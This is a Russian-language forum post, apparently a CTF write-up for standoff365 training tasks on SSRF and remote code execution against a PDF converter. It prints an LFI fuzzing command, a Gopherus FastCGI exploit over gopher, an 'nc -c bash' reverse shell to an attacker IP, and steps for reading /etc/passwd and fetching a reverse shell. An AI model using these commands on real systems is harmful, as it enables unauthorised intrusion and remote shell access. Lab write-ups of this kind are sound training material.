|
Введение
Приветствую всех читателей статьи! Продолжаю серию статьей по решению задач с платформы standoff365. В ней я вам представлю очередность шагов для решения данных заданий (web-3-1 and web-3-2). link standoff 365 web 3-1 Первая задачка была довольно легкая, нужно было просто следовать инструкции с задания. web-3-1 Подделка запроса со стороны сервера (SSRF) на узле utils.edu.stf В самом задании сказано Цитата:
и получаем флаг web-3-2 [web-3-2] Удаленное выполнение кода (RCE) на узле utils.edu.stf Hint Подсказки для тех у кого Регистрация на платформе и на впн на разных машинках. hint1 hint2 hint3 Scout Исходя из задания web-3-1 мы должны сделать для себя вывод что уязвимость и сам вектора атаки будет проходить на сайте через pdf convertor и уязвимость стоит искать именно там Разведку начнём с фаззинга ссылкан на wordlist link=seclists Код: Код:
ffuf -u http://10.124.1.237/convert.php?url=file://FUZZ -w ~/wordlists/seclists/Fuzzing/LFI/LFI-linux-and-windows_by-1N3@CrowdShield.txt -e .php,.html,.txt,.zip,.gz,.tar,.dat,.log,.tar.gz,.sql,.rar,.swp,.bak,.asp,.aspx,.js,.img,.png,.jpeg -fs 1018-w wordlist -u url Один из ответов от сервера меня заинтерисовал, открыв его я нашел для себя следующую информацию Цитата:
Код:
fastcgi_pass 127.0.0.1:9000https://forum.antichat.xyz/attachmen...7385000091.png Далее яндексим: и находим : ssrf FastCGI https://forum.antichat.xyz/attachmen...7385091225.png или вот эту hacktricks на ней же можем найти и инструмент для тестирования tools Из этиз ссылок я сделал вывод что уязвимость будет связанна с gopher через ssrf Attack На этапе атаки нам нужно будет получить revshell из ходя из задания Примечание: один из способом получить revshell одной командой Код:
nc -c bash 10.127.IP.IP PortКак было сказано ранее, находим следующий инструмент на hacktricks tools в качестве revshell будет использоваться = GitHub - pentestmonkey/php-reverse-shell (Не забудьте в файле revshell поменять на свой Ip and port) В качестве первого параметра в эксплоите написано указывать любой файл желательно php , поэтому мы решили указать сам convert.php и путь к нему (в разведке мы поняли что это линукс , по файловой системе, поэтому будет указывать полный путь /var/www/html/тут_файл) Для начала проверим где мы через команду ls также можно было добавить pwd (ls ;pwd ) чтобы за один запрос получить как можно больше информации Код: Код:
git clone https://github.com/tarunkant/GopherusСервер подымается следующей командой Код:
python3 -m http.server 8000Код: Код:
gopherus --exploit fastcgi Также я выполнил дополнительную команду для добавления прав нашему скрипту. Код:
chmod +x /tmp/*Код:
┌──(kali㉿kali)-[~/Downloads/Gopherus]Attack 2 from Aloha51 2 Cпособ эксплуатации уязвимости в котором было обнаружена неправильная настройка обработчика на сервере, которая считывала данные из body в запросах GET и PUT и выполняла код на стороне сервера обратите внимание что метод в запросе заменяется на PUT Прав в директории сервера не было (по адресу /var/www/html ) и поэтому пришлось в загружать file в папку /tmp https://forum.antichat.xyz/attachmen...7385500288.png Получение файла /etc/passwd https://forum.antichat.xyz/attachmen...7385495657.png Скачивание revshell-а https://forum.antichat.xyz/attachmen...7386282693.png и после запускаем любым удобным для вас способом (Дополнительно нужно будет еще докинуть прав через комнаду Код:
chmod +x /tmp/*Заключение: Это была довольно интересная задача. Однако впереди нас ждут еще более увлекательные вызовы Давайте продолжим наше путешествие! Если у вас есть дополнительные пожелания или изменения, дайте знать! |
Пока тянет только на заметку. Дополните статью и по возможности оформляйте как другие. Экземпл
@Archivist |
Цитата:
|
| Время: 01:24 |